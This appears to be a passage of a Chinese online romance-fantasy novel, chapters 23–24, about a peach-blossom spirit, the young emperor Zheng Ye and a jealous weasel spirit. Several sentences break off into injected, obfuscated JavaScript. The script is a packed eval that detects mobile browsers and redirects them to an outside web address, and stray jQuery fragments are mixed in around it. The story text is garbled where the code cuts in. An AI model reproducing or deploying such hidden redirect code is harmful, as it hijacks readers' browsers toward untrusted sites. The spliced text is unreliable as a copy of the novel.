于是很明显的,漂亮的男孩像是一朵骤然盛放的艳丽花朵,哪怕隔着一层面纱也能感受到他浑身散发的庞大生机,欢欣雀跃化为有如实质的光斑在他的周围舞动,连今日晴好的阳光都格外偏爱这个兴奋的孩子,暖融融的光无比轻柔地包裹住他,让他黑色的发丝都显得流光溢彩。 他一定在笑。 桃花精笃定。因为这个孩子笑起来,就会让空气都变得甜蜜,阳光也漂亮起来。 她抬手掀开阻隔他们的那一层纱布,果不其然对上了一双令人心醉的美目,任谁被这样可爱完美的孩子满脸期待地看着时,都会觉得生活真是充满了盼头。 “像你这么美丽的人,还是慢一些长大吧。”风吹过来扬起他的浓黑长发,掀起阵阵清香,桃花精倏然收回手,轻薄的纱布晃啊晃,遮住一切旖旎之色,她垂下眼皮,背身继续向前走,令郑烨无法捕捉到方才那抹转瞬即逝的情绪。 她很快岔开话题:“是这样的,有个人的玉佩丢了,那个玉佩对她来说似乎有着特别的意义?很麻烦呢,虽然她玉佩丢了和我也没有太大关系……但果然还是不忍看到她因此伤心难过呢,所以思来想去还是决定再做一个送给她,因为不确定她喜欢什么样的干脆挑个最贵的好了,总归不会让她讨厌。” 被云仙大人撩过的轻纱还余有淡淡的桃花香气,郑烨下意识伸手去摸,却在指尖相触的前一瞬骤然收缩,说不上究竟是不想要破坏云仙大人的气息还是由于内心最深处那一点隐秘的羞愧,垂落在身侧的手被他握紧成拳。 “是什么人?”问出口的一刹那连自己也愣住了,方才矜持收回手的行径好像都成了欲盖弥彰,眼睫颤的厉害。他低头死死盯着自己的脚尖,妄图通过转移注意力的方式让自己的解释显得不那么刻意,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054527|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是说,我可以派人去问问他想要什么样的玉佩,再送给他一个。” 桃花精一副无所谓的态度,仰天眼神乱瞟,手上也不安分地拎着自己腰间的系带转啊转,“不是什么重要的人,其实……”她慢悠悠点了点头,像是在确认什么,“我也不是不忍心看她伤心!啊对,我只是正巧知道她玉佩丢了,当然和我真的没有关系!哎呀,就是你也知道,我比较善良嘛!所以既然看到了她丢玉佩干脆就给她一个好了,嗯只是因为我比较善良而已!” 男孩的声音听上去更加糟糕了,跟丢了魂似的:“云仙大人——” “是太后身边那个侍女!”桃花精忽然大声说。 郑烨:……? 她以为男孩没想起来是谁,颇有些焦躁地提醒:“就是被柳精关在太极宫六年昨天刚回万寿宫的那个侍女啊!” 郑烨好看的眉头紧紧揪起,他倒是知道云仙大人讲的是谁,只是印象里两个毫无关系的人突然以这种奇怪的方式联系到一起,实在让他难以反应过来—— 等等——不对! 不是毫无关系! 他因云仙大人的归来太过激动以至于都忘记了在此之前都发生过什么,好像是……桃薇去花神庙种下那朵桃花后,云仙大人突然就出现在马车里了! “云仙大人,这到底是怎么回事?” 桃花精目移,心虚挠了挠头,笑着打哈哈:“啊?我也不知道啊。”话音刚落,她望向远处的视线一凝,忽然变了脸色。 尽管心中有诸多疑问,可郑烨很清楚除了云仙大人,这世间一切都是不重要的。既然是云仙大人不想说,那他的追问也没有意义,他顺着女孩的视线看过去,面色霎时变得凝重起来,伸出一条胳膊将女孩挡在身后。 来者正是方才在首饰店碰见的富贵小公子。他身边除了成群的男仆,还跟着一个装扮奇怪的高挑男子。 桃花精反手把郑烨挡在身后。 “小桃你啊——”高挑男子笑眯眯走过来按住桃花精的双肩,“还真是喜欢伤我的心呢。” 23. 第 23 章 桃花精没管突然冒出来的黄鼠狼精,朝呆呆站在男人身后的少男抬了抬下巴,“你有什么事?” 把郑烨护在身后的那只手忽然被握住,她一愣,转头看去,男孩的帷帽不知什么时候拿掉了,他眼睛忽闪忽闪地瞧着有些紧张,靠近了她小声提醒:“这是关北王的独孙方花零,他们家与柳氏有些姻亲关系,算是崔朔的表侄,柳玉冷上台后关北王的小女儿方亦寒——也就是方花零的姨母做了鸿胪寺卿,颇受柳玉冷宠信。” 那名容貌精致的少男也不甘示弱,宛如一只花孔雀般抬起下巴,神色倨傲:“那玉整个象国只有一块,本公子要拿来送人,你赶快回去把它退了!” 桃花精转而看向黄鼠狼精。 双手揣在袖中的男人正上下打量郑烨,在察觉到她的视线后歪头笑了笑,琥珀色的眼眸在暖阳下流淌出和煦的色彩,“这孩子说的很正确嘛,看样子也不是一事无成的小废物?嗯——?小桃看起来一点也不开心呢?肩膀是不疼的吧。” 他倏而收了笑,哪怕离的有些距离,长臂还是轻松勾住了女孩被男孩抱住的那条胳膊,然后很容易便把桃花精拉到了自己身边,轻轻扶着她的背将她转到面对方花零的方向,语调温柔:“这是我新结识的好友喔,小桃就当是卖我个面子,把那块玉让给他,好不好?” 尾音转了两个弯,其中的亲昵与撒娇意味不言而喻。 桃花精能够感受到那只握在自己小臂上的手掌温暖宽厚,正在源源不断为她输送灵力。男人这样的习惯持续了将近三百年,从她诞生那刻起,属于黄鼠狼精的灵力便周而复始地在她体内运转,最后转化为她能够使用吸收的灵力。 她摇摇头,却也没有拒绝,而是反问:“你们是怎么认识的?”她记得黄鼠狼精最厌恶凡人了,怎么会和这个方花零成为朋友。 女孩面色平和,丝毫不见被当街叫住找茬的恼怒,甚至于那双望着他的眼眸中唯一有的情绪只是淡淡的疑惑,昭示着只要他能说出让她理解的答案,玉便会拱手相让。 黄鼠狼精嘴角的笑意有一瞬间的凝固,不过很快便恢复了往日柔和的神色,“我想要看看小桃所喜爱的凡世间,方才在首饰店想买些东西装点自己,正巧遇上方公子,我们俩很是聊的来,听他说了玉的事情后推测到那人是你,恰好我也想见见你,便随他一起跟来了。而且——” 他扭头看向仍旧怒气冲冲的少男,笑容里多了几分客气与疏离,“方公子知道我还没有住处,还邀请我去他府上小住几日呢。” 桃花精仍旧没有说话,低头不知道在想些什么。 方花零点头,“没错!黄兄性情幽默风趣,他这个朋友本公子认下了!喂,看在你是黄兄旧友的份上,本公子也不愿为难,不如这样,我付十倍的价格从你手上买下那块玉如何?” 一直站在后面不吭声的郑烨忽然在此时上前走到桃花精身边,依旧是附耳低语:“云仙大人,您若不愿意便不必理会这人,回宫后我会为您处理好的。” 桃花精无视黄鼠狼精骤然冷下的眼神,冲男孩安抚地笑笑,又抬头问不远处的美貌少男,“你说他是你的朋友,那你可能说得上来他的名字?” 少男额发有些长,稍微遮挡住了他紧皱的眉头,让他单纯因为生气而泛红的脸颊显得很没有攻击力,“哼,你这人到底退不退货?一句话的事少扯些有的没的!” “方公子——”黄鼠狼精陡然拔高的声音暗含警告,看向少男时眼底已然多了一丝杀气。 桃花精连忙按住男人,生怕他动手伤人,同时心中暗骂这个方花零可真是够愚蠢的!来历不明的一个陌生人还敢认为朋友,自己被坑了都还不知道呢。 她倒是不在乎用什么玉,只要足够贵就行了,只是刚刚听郑烨说这方家还跟柳玉冷有那么一星半点的关系,她实在是被柳玉冷坑蒙拐骗怕了,担心自己不知不觉中又走进了女人的圈套,这才反复询问迟迟没有应下。 如今观黄鼠狼精的模样多半对自己也有隐瞒,她一时间不知该如何是好。 说实话这种一举一动都要小心翼翼的滋味并不好受,尤其是你已经看到在你面前伸展的许多条路在不远的地方都会交汇于一点,而回首望去,又发现这么多条摆在自己面前的路也是由一点发散开来的。 那名侍女丢弃玉佩使她得以冲破柳精的封印重返世间,她一时兴起想要还那人一枚玉佩,却恰巧与这个同柳精有着诸多牵扯的少男发生冲突,而再往上推,这枚玉佩又是从哪来的? 是郑岚亲手做的。 郑岚又为什么送玉佩给那名侍女?这个在陵园时想到却不愿深究的问题终究摆在了她面前,冥冥之中好像有一股难舍难分的神秘力量与她纠缠不休,强势地推着她往既定方向前行。 她该怎么做? 执意要下这枚本可以放弃的玉佩,还是真的就此收手,干脆不还那名侍女玉佩了? 主动出击还是安于一隅? 又或许一切只是她多想了——可这真的不是逃避吗? 既然已经意识到不对劲了,为什么还要强行用没有任何意义的“可能性”安慰自己:所有的熟悉感都是巧合巧合巧合。 这种下意识的逃避究竟是出于对未知的害怕还是天性使然? 仔细想来初诞生之际把所有灵力输送给桃花谷后独自跑到凡世间——这种孤注一掷的行径似乎也是出于不想面对上一代桃花精的烂摊子。 因为知道黄鼠狼精会为自己处理好一切,所以一直没有真正面对过自己的的逃避心理,今时今日恍然意识到原来那个一直陪伴在自己身边的男人好像也会骗自己。 曾经安然到大胆的梦境霎时间被破裂,她没有办法继续心安理得地把一切归因于巧合了。 如果是柳精的话,假如这一切也是柳精的刻意引导的话,那个女人会希望自己咬住不放还是就此松手呢? “玉可以给你,但是有一个要求。”说出这句话时异常冷静,也是在这是她才后知后觉反应过来自己似乎并不怎么为黄鼠狼精的欺骗伤心。 内心究竟是什么样的感受她无法看清,非要说出个什么所以然的话大概类似于很久很久以前,在她把黄鼠狼精当做自己唯一的朋友,以为只有他会愿意为自己带一枚桃花去到外面的世界时,却惊讶发现原来还有一个别的小妖精愿意帮她做这件事,而自己之所以一直没有意识到仅仅是因为把全部目光放在了黄鼠狼精身上。 这种情感应该怎么形容呢?倒不至于说是懊恼,顶多算是为曾经是个笨蛋的自己苦笑。 四周已经很久没有凡人路过了,大约是因为了避开了黄鼠狼精身上磅礴的妖气。 郑烨是真龙天子不受影响倒是情有可原,但眼前这个通身贵气的小公子及一众奴仆为何还能丝毫不受影响呢? 要么是因为他身上有能够抵御妖气侵蚀的宝物,要么是此人的人生轨迹注定与黄鼠狼精纠缠不清。 少男勾唇一笑,粉嫩的唇瓣弯起愉悦的孤度,两片睫毛卷翘浓密,像两把小扇子,眨眼间流露出得意的色彩,“还算识相,说吧,想要什么,本公子看你还挺合眼缘,随便提!” 桃花精瞬间变脸,立即露出惊喜的灿烂笑容,整个人都十分高兴的样子,合掌笑着上前几步,在方花零莫名怔愣住的目光中—— "哗!"她突然大喊一声,合紧的双掌一下子打开,下一刻便有漫天飞花在因为惊吓而哇哇乱叫的少男面前飘飘而落。 粉色的花瓣混合了独属于桃木的清香冲击着方花零的眼耳口鼻,就连脑子里也好像有一堆桃花瓣搅啊搅,弄得他晕乎乎的。 他下意识闭紧眼晃了晃头,想要驱散这股扑面而来的、几乎要淹没自己的花雨,然而就在他睁开眼的一瞬间,一枚玉佩陡然出现在眼前。 这枚玉佩通体莹白,细腻如脂,下方还坠着一串以金线与珍珠编织而成的流苏,一看便知绝非俗物。尤其是这上面的纹样——一对盘旋的龙凤,龙鳞凤羽皆栩栩如生,龙腾九天,凤舞云霄,二者交相辉映,一派祥瑞和谐之气,玉缘处还镶嵌着一圈细密的金丝,金丝如流水般环绕,更添几分华贵之气。 方花零痴痴望着这枚玉佩,满目渴望地伸出手,将要触及的一瞬间却扑了个空,再抬眼看去便见到女孩背手将玉佩藏起来,笑嘻嘻:“巧了不是!我看你也极合眼缘,想与你交个朋友。这枚玉佩与方才首饰店里的玉便是见面礼,只你答应我与我做朋友便全部送给你,如何?” 这段话不知触动了少男的哪根神经,刚刚还像个傻子一样痴迷的眼神随着她的话一点点清明过来,不过看样子只正常了一小会儿便再次变得晕乎乎,两只眼睛里有好几个圈在转啊转。 他极快速地眨了两下眼,在与桃花精对上视线的时如同看到洪水猛兽般迅速避开,整个人热得不行,仰头看天,一边用手扇风一边结结巴巴说: “哈?你绕那么大一圈就是为了跟本公子交朋友!?当、当当当然可以了!咳……那个什么,看在你又是送玉石又是送玉佩的份上,本本公子就勉为其难答应做你的朋友吧!” 说着,桃花精面前就出现了一只柔嫩修长的手,她顺着这只手向上看去,便见到红着脸的少男将头撇向一边别扭着不肯看她。 诶?怎么回事啊!为什么要这么害怕她呢,明明刚才变玉佩的时候他的注意力全被花雨吸引走了吧,应该不会注意到她用法术才对呀。 桃花精忍不住陷入沉思,这么一想郑岚第一次见到她时也是吓得脸都红了,一直出冷汗! 嗯嗯嗯?难道她长得很吓人?! 惊…… “那个……!”少男自从桃花精变出玉佩就态度大转变,不久前趾高气昂的恶劣态度一扫而空,“玉佩倒是给我啊。” “哦。”她最后看了一眼这枚玉佩,放到少男手心。 这玉佩是从前郑岚送给她的,应该挺值钱的吧。 微凉的指尖滑过掌心,一触即离。 方花零放下的那只手死死捏住袖口,不受控制地颤了颤,接触到玉佩的那块肌肤泛起密密麻麻的痒意,明明对方什么都没做他还是被吓了一跳,慌忙收回手埋头把玉佩收好。 桃花精笑嘻嘻凑过去,“既然收下那我们就是朋友咯,我可以去你家玩吗?” 少男圆溜溜的眼睛瞪大,不可置信:“这这这、这于礼不合吧?上门拜访?太快了吧!” 她不解,还有点生气,“我们不是朋友嘛,你都不愿意邀请朋友去你家玩的吗?”不都是说人类比妖精重情义嘛,怎么从前在妖界时连只打了个照面的妖精都会邀请她去她们那玩,这个凡人都已经和她是朋友这么亲密的关系了,怎么连串门都不让啊。 话音刚刚落地,方花零便肉眼可见地慌张起来,手足无措地拿着男女授受不亲之类的说辞解释,结果越解释越乱,急的出一身汗。 而桃花精偏偏以为自己是被骗了气得不行,两人你一眼我一语说的牛头不对马嘴。 冷眼看完两人互动的黄鼠狼精直接被气笑了,恨自己不够心狠手辣没有直接杀人抢玉,就为了不把自己牵扯进去而绕那么大一圈,结果事没办成还又让一个凡间男人勾引到了女孩。 他蓦地掀起眼皮看向不远处同样散发着低气压的男孩,审视的目光一寸寸划过这个男孩的侧颜,脸愈发黑了。 小小年纪长个妖艳模样,看他不找个机会把郑烨的脸给划了。 趁女孩笑哈哈骗方花零的功夫,黄鼠狼精几步之间移到面无表情的男孩身边,敷衍扯出一抹笑——不过任谁去看都会觉得是位温润如水的翩翩公子,“你很厉害嘛,竟然认识方花零,谁告诉你他家里事情的?” 郑烨漠然从云仙大人身上收回目光,盯着地面静默了一会,就在黄鼠狼精以为他是个傻子时忽然抬起了头,朝男人露出甜美无害的笑,“这和您是没有关系的吧。还有,你笑的好难看。” 黄鼠狼精笑吟吟:“啊呀,臭小鬼你就等着被我剥皮抽筋吧。” *** 与方花零分别后,桃花精握拳:“你这家伙......!” 黄鼠狼精敏锐察觉到不对,当即两腿生烟便要逃跑,可动作还是慢了女孩儿一步。 桃花精轻松一跃便跳到了男人背上,一只胳膊死死勒住男人的脖子,另一只手直接邦邦给了他两拳,“好啊你这个背信弃义的家伙,竟然敢骗我!你不是那小子的好朋友吗,怎么不跟他走了?还赖在这里做什么!” 女孩儿力气大的很,此时又刻意使力气,黄鼠狼精真觉得自己脖子会被她生生勒断。他因为呼吸困难整张脸都逐渐发红泛紫,咳的眼球都要滚出来了,“小桃咳咳,松手啊小桃,难不成真要杀了我?快点松手唔,我要被勒死了!” “哼!”桃花精双腿盘住男人精瘦的腰肢挂在他身后,两人一起晃来晃去,她直接两只手一起对着男人的肩背狠狠捶下,力气之大使男人根本无法撑住身子,踉跄着便要往前摔倒在地。 幸亏郑烨眼疾手快,连忙上前一步伸手捞住桃花精将她搂在自己怀里,这才没叫桃花精也连带着摔下。男孩担忧的不行:“云仙大人,你没事儿吧?” 别看他年纪小,长得却比同龄人高出许多,他一只胳膊将女孩搂在怀中,另一只手握住女孩儿的拳头,心疼的吹了吹,“手疼不疼?” 桃花精还沉浸怒火当中,一时还没反应过来,低头看了看男孩握住自己的那张手,又抬头对上他关切的眼神,脱口而出。“哈?!你在质疑我的能力吗?” 说着便一把推开郑烨,一副要继续把黄鼠狼精给胖揍一顿的架势。 “哎,等等等等!”摔了个狗啃泥的黄鼠狼精连忙伸出一只手阻止,他方才被桃花精大力冲倒时还被狠狠踢了一下腰,这回浑身上下疼的不得了,他喘着粗气为自己辩解。“这不能怪我呀!小桃,我还不是担心那个姓方的笨小子发现不对劲的地方怀疑我们?哎呀,我真的从没想过骗小桃,我就是随口撒了个小谎,哦,那不是对小桃撒的谎,是对方花零撒的谎。” 他被心爱的女孩当着情敌的面弄得那么狼狈,心中又委屈又生气,偏偏还不能表露出来,不然估计又要挨揍,“小桃小桃~你不要生气了嘛,我也是担心你,我就是怕你再中了柳精的圈套所以才急急忙忙赶过来。小桃,我真的知道错了,你不要生气了嘛,好不好呀——小桃?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065245|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说着,半躺在地上的男人还恬不知耻地伸长了臂要桃花精拉他起来。假如忽略此刻的背景,男人略微有些凌乱的长发海藻一般铺散在身上,宽肩窄腰大胸翘屁股一起凹出曼妙的身姿,单单是抬眼便有万种风情。 可惜桃花精根本不吃这套,直接上前又踹了男人几脚。 郑烨在后面一口银牙都快被他咬碎了,恨不得直接冲过去扇这个不要脸的臭男人几巴掌,这个贱男人不仅欺骗云仙大人,事后还一点也没认识到自己的错误,简直可恶! “云仙大人,你可千万不能——”他愤愤地想要去告状,可是一扭头便见到云仙大人虽然跨着一张脸,却还是认命地走过去朝躺在地上的男人伸出一只手。 黄鼠狼精立马像只得了欢的小狗一样乐呵呵把自己的手放在女孩手上。 在桃花精看不到的间隙,男人朝郑烨挤挤眼露出得意而嘲讽的笑,仿佛在说:看吧,无论你对她如何小心翼翼,她也不会多看你一眼,而我却拥有着能够与她随意嬉笑打闹的权力。 阴鸷的危险气息在他毫无察觉的情况下流露,包裹了他全身,哪怕站在阳光下也觉得阴冷无比。藏在袖口中的手指深嵌入掌心,湿漉漉的血迹滴答滴答落在他的脚边,没有人会注意到这一点微不足道的伤痕,就像也没有人会注意到他现在翻涌的醋意。 “哦,对了,郑烨。” 女孩突然的呼唤拉回了被忌恨裹挟的思绪,他强撑出一抹笑,努力让自己低哑的嗓音停下颤抖,故意装出软软的样子:“怎么了嘛,云仙大人。” 桃花精忽略身后那个站起身后牵着她手动来动去不安分的男人,问出自己一开始便在思考的问题:“你是怎么知道朝堂上那些事的?” 如果没记错的话,男孩这么多年一直被幽禁在太极宫,极少与外界接触,更遑论大家也都默认要避免这位摆件皇帝了解到朝堂上的事情才对。 此话一出,郑烨一直隐忍的醋意骤然消失的无影无踪,紧握的拳头也不自觉松开了,阴郁的眼眸终于多了几分活人气息,粲然一笑:“是因为我身边的一位侍女经常会把外面的事情讲给我听。”末了他还补充一句,“就是从前在母后身边侍奉的那位宫女,她是个很好的人。” 这与桃花精的猜测别无二致。 她点点头,出于自己也说不清道不明的心理,认可道:“那六年时间里太极宫与冷宫无异,郑烨,你从小到大都在被身边的人欺负对吧?可是那名侍女却对你很好呀,你小时候受伤时给你送药,还会时不时维护你,就连被你连累了一同被关在太极宫,也不会因此对你心生怨怼,反而教你识字读书,为你讲外面的事情,不至于让你变成一个小傻子。” 桃花精对于这名侍女的情感倾向非常明显,可向来厌恶凡人的黄鼠狼精在听到女孩讲这些话时却难得没有表现出嫌恶的态度,而是一反常态,静静站在后面听她讲,嘴角始终含着意味不明的诡异笑容。 郑烨虽然自始至终都游离在他们这群妖精的因果算计之外,可如今却也能够从中分辨出一二天机,隐隐约约察觉到陶薇姑姑大抵是什么不同寻常的人吧。 确认了自己的猜想,桃花精拍拍手:“好了好了!现在时间也不早了,黄鼠狼精......你!回妖界!郑烨走,我们先回崔府。” “不要。”黄鼠狼精黏黏糊糊搂住桃花精的腰,习惯性地将下巴搁在她的肩膀上撒娇:“我好不容易来一趟凡间就是为了找小桃哦,小桃就不带我转转嘛?现在小桃已经比我还要熟悉凡间了吧?或者也带我一起去崔府吧,我想和小桃在一起。” 郑烨努力不让自己的微笑崩掉:“可是云仙大人......我们过几日就要回宫了。” “啊,那没关系呀。”黄鼠狼竟无所谓笑笑,亲昵地在女孩脸侧蹭了蹭,“我可以和你们一起回皇宫呀,到时候我就与小桃一起住在那株桃树上,好不好?这样一来呢,我也能在凡间继续保护小桃,防止那个柳精再耍什么阴谋诡计。” 桃花精无情拒绝:“不要,你很不可信。”等她回宫后大概就要和柳精正面对决了,到时候自顾不暇,更别提还有桃花谷一众生灵要养育了。 “黄鼠狼精。”上一刻对男人又打又骂,此时又有求于人,她罕见地有些不好意思地默默鼻子,虽然是问句但是语气很肯定:“你还是会继续帮我照顾桃花谷的,对吧?” “诶——?”男人从她颈窝处抬起头来,他真的很高大,其实可以轻松把桃花精抱在怀中,却总是喜欢做出一副依靠在她身上的样子,显得有几分滑稽。男人发出一个音后变沉默起来,久久没有说话,把她抱的更紧了的两只手臂温暖有力,就像他这个人一样,一定能够给予她许多支持。 良久过后,男人低头,把脸靠在了她的发丝上,轻声说:“小桃是知道自己不会被拒绝吧。”他没有松开手,反而提到:“那小桃现在还生我的气吗?” 桃花精摇摇头,诚实回答:“我从来没有生过你的气,黄鼠狼精。”一是因为没有生气的资格,二是......这确实没什么好生气的,本来黄鼠狼精就嬉皮笑脸很不正经,她从来不相信男人会对自己毫无保留,这是很久以前就意识到的事实,没有期望故而也不会失望。 “其实哦,我倒宁愿小桃生气呢。” 轻声的呢喃几乎随风而散。 目视着男人乖乖离开后,桃花精朝一脸不高兴的男孩伸出手,“走吧,回崔府。” 郑烨勉强笑了一下,努力强迫自己不要再去想刚才男人亲吻女孩发丝的场景,毕竟云仙大人也不像会意识到这些的样子,他伸手紧紧握住女孩的手,两人肩并肩一起行走在无人的街道。 “明天我们继续出来玩儿吧。”桃花精早就察觉到了男孩儿不开心,于是提议道。她也明白这是男孩第一回出宫玩,不曾想会碰上黄鼠狼精这个讨人厌的家伙,算下来男孩一整天就吃了根糖葫芦——不,是只吃了三个山楂。不管怎么说也还是个小孩子呀,明天就好好补偿他一下吧。 傍晚的风依旧很暖和,西下的太阳把两人时而依偎在一起,时又分离的身影拉的长长的。 现在郑烨已经不是从前那个努力踮起脚尖也只能到云仙大人胸口处的小男孩了,他有了能够与云仙大人并肩而行的身高,以后也要长得更高。他一无所有,比起强大的妖精而言什么都不是,所能为云仙大人奉献的似乎也只有这副躯体,唯有长得更高,更美,才有资格说出:“云仙大人请更加喜欢我吧”、“云仙大人可以多多依靠我一点哦”这种话。 女孩的话语比擦过耳畔的微风还要温柔,流淌进郑烨的心中,暖遍了他的全身。 手上的血应该已经被发现了吧。 他忽然笑了,直到今日才意识到以前的自己有多过分。 为什么会觉得两百多岁的云仙大人是个长不大的孩子呢?明明她比他要成熟的多,一直以来都在用属于自己的方式默默温暖着身边的人,所以才会被崔朔和叔祖父记这么久吧。 两只手心都传来冰冰凉凉的舒适感,血肉破开的刺痛霎那间消失不见。 “只要能够留在云仙大人身边,在哪里都是一样的。”郑烨真心实意说。 24. 第 24 章 和郑岚待在一起的那几年,桃花精总是与黄鼠狼精吵架,不知是否因为今日与男人的相见,竟使得她久违想起了郑岚。 想起郑岚的次数不多,尤其是独自一人时,她几乎不会想到除了陶丽绾以外的任何凡人——不不不,思绪怎么又跑到那个女人身上了。 躺在崔朔院子里那株桃木上的桃花精摇摇头,努力把有关于那个女人的一切念头赶出脑海。 她其实已经记不大清郑岚的长相了,不过却很清楚与郑烨是有很大区别的。相较于年纪轻轻便艳丽无双的侄孙,郑岚的面部轮廓要更柔和一些,五官也是很温和秀美的,就像水一样,很容易让人在初见时便放下敌意,下意识就接受了他的示好。 桃花精不是一个爱好反思的人,黄鼠狼精甚至因此几次将她定义为白眼狼——不过她认为这只是男人的恶趣味。这一晚突如其来因为回忆起郑岚而难受的心脏究竟是为了什么她无法很轻易地判断,不过很显然这种令人抓心挠肝的不快不应该是她这个妖精应该有的。 印象里郑岚总是会给她各种各样的东西,比如一开始遇见负伤逃出桃花谷的她时,大发善心救下了她这个一眼看过去就知道是个妖精的家伙,在得知她需要借用帝王之气休养生息后便很大方地留在她的身边,说:“真是太好了,除了金银钱财之外还有能够帮助到您的地方,这对于我来说一定是恩赐。” 当然,不可否认的是郑岚这种水一样温柔无害的男人还是有许多有趣的地方。 在她勉强痊愈后,“不知是被郑岚下了什么迷魂汤”——这是黄鼠狼精的原话,竟然把陶丽绾的许多事情讲给了他听。这原本应该是个很悲伤的故事,假如放在凡间的戏目里总该唱个百八十场哭晕一大片观众,但是郑岚却作了许多有意思的评价,把她逗得哈哈大笑,连带着那些充满恨意的过往都轻松愉快起来。 虽然也记不清那几晚男人都说了些什么,不过却是桃花精在陶丽绾死后笑得最开心的一段时间。幽默诙谐不足以形容他,他的灵魂都是善良可爱的,如此才能不断发掘出糟糕故事里的闪光点。 胸口的苦闷像是一团厚重的雾,让人看不清心也乱。 桃花精伸出手托举着空气中的月光,心里渴盼着它能够为自己洗清迷惘,可又十分明白感情上的万般事都只能依靠自己。 这种心情比起难受,可能用不甘来形容会更合适。 不甘于从初相识到天人永隔的那几年里,从始至终都是郑岚在不停地给予,而她却从未给过他任何东西。明明、明明......她心里已经是把他当做好朋友了的,可最后连他最后一面都没见上。 她甚至觉得,如果现在她不得不陪伴的人是郑岚就好了。还记得郑岚父亲病重后他被关在宫中不得出门,几次三番拜托她出去玩时也带上他,可那时她只是认为好麻烦便毫不犹豫拒绝了。 郑岚的很多心愿都没有完成,而那么多心愿都是她动动手指头就能解决完的。 哎。 桃花精轻叹了一口气。 “小桃在想什么呢?”熟悉的、属于成年妖精的嗓音自下方传来,她往下看去,果不其然见到了插袖而立的黄鼠狼精。 “............” 成熟俊美的男人像以往许多次那样在下面朝她张开双臂,笑眯眯请她下来。 她无奈,纵身一跃,短促的风声划过她的耳边,夜色微凉,她落入一个温暖柔软的怀抱之中。 黄鼠狼精牢牢接住她,未曾后退一步,身体也未有任何晃动,唯一的动作就是将她紧紧抱住。 男人的手臂要比寻常人要长上许多,总是能够轻易将桃花精整个人都搂在怀中,就比如现在,一只手臂垫在她臀部下方,另一只手臂能够从她的后腰处往上,直到那只修长白皙的手覆盖在她的肩头。 桃花精双手搂住男人的脖子,感受着贴住手臂那一块肌肤下动脉有力的跳动,有些不习惯地动了动。 相较于这种被男人完全抱起来的姿势,她其实更喜欢在摸过黄鼠狼精精瘦紧实的腰部肌肉后,圈住他盈盈一握的细腰,然后再把脸埋进男人饱满丰厚的胸脯之中。 或许是因为从诞生起就依靠着男人的灵力存活生长,黄鼠狼精身上的气息对她来说有着神奇的亲和力,让她以前总喜欢在他胸上蹭来蹭去。 手肘撑在男人肩膀上,她轻轻眨了眨眼,看见有月光在他琥珀色的眼眸中流淌。 他生的很白,比桃花精这种被关在桃花谷里终年见不到阳光的人还要白,不过比起郑烨幼年时期的莹白与现在的苍白,黄鼠狼精这个妖精的肌肤反而更像是凡人,充满了肉粉色的生机勃勃,正如他健硕而性感的躯体一样,让人有的时候会忍不住想要咬上一口尝尝。 他们在孤独的桃木下对视,微风与月光都逐渐远去了,剩下的只有彼此眼中倒影的自己。 她率先发问了:“不是让你回桃花谷的吗?怎么没一会又回来了?” 黄鼠狼精没有立即回话,他安静地用那双漂亮的眼睛望着她,凸起的喉结滚动了一下,于是她收回环绕在男人脖颈之上的一只胳膊,伸手捂住那颗喉结。 好像有什么突然静止了。 下一刻,掌心有点发硬的喉结忽然咽的更厉害了。 一直以来比桃花精还热衷于贴贴的男人陡然脖子向后仰,脸也侧了过去不再与她对视,嗓音喑哑:“我还是想见见你。” 她不解:“咱俩有什么好见的?” 男人呼吸一滞,像是被她的发言气到,横扫过来的眼神充满了无可奈何的烦躁,可勾起来的唇角还是显露了他怒意的虚假。 桃花精扑哧笑出来,伸出一根手指戳了戳他硬邦邦的脸颊,把他没有任何威慑力的冷脸戳的一鼓一鼓的,她笑得更开心了,“我白天真的没生你气。” “我知道。”黄鼠狼精努力忽视嘴边的手指,让自己尽量显得平和一点,“我只是单纯想见见你,我们已经很久没有好好说话了。” 她歪头:“有吗?只有六七年而已吧。” 男人猛然收紧了手臂,不过浑身的攻击性仅仅流露一瞬便被他尽数收回,紧绷的手臂也再次放松下来,他抬头与桃花精凑的更近了,两人鼻尖几乎相触。 “六七年已经很多了。”男人向来是悠然自得从容不迫的模样,此刻竟然难得多了几分孩子气的委屈,他小声抱怨了一句:“我从来没和小桃分开那么久过。” 六年的时间对于还是个孩子的郑烨而言简直是个可怕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不等女孩因为被说了笨蛋而生气跳脚,他短短须臾就在脑中给自己做了千百次思想斗争,最后干脆心一狠大步流星走过去,抓住女孩的手就往自己腹部随便揉了揉,然后赶紧放开,“好啦我没事!不要再关注这个了!对了,我再强调一遍哦小桃,除了我绝对不可以摸别的人这里,绝对——不行!” 桃花精像看傻子一样看着男人,满脸不理解,翻了个白眼:“你真是越来越奇怪了。”她严重怀疑黄鼠狼精是不是在无尽之域遭遇了什么非人的酷刑,才使得原先蛮正常一个人变得如此莫名其妙,什么踢人摸人的,他以为谁都跟他一样那么坏随意伤害人类呀。 她可是妖界公认的好妖精,绝不会突然给人一脚的——黄鼠狼精和柳精除外! 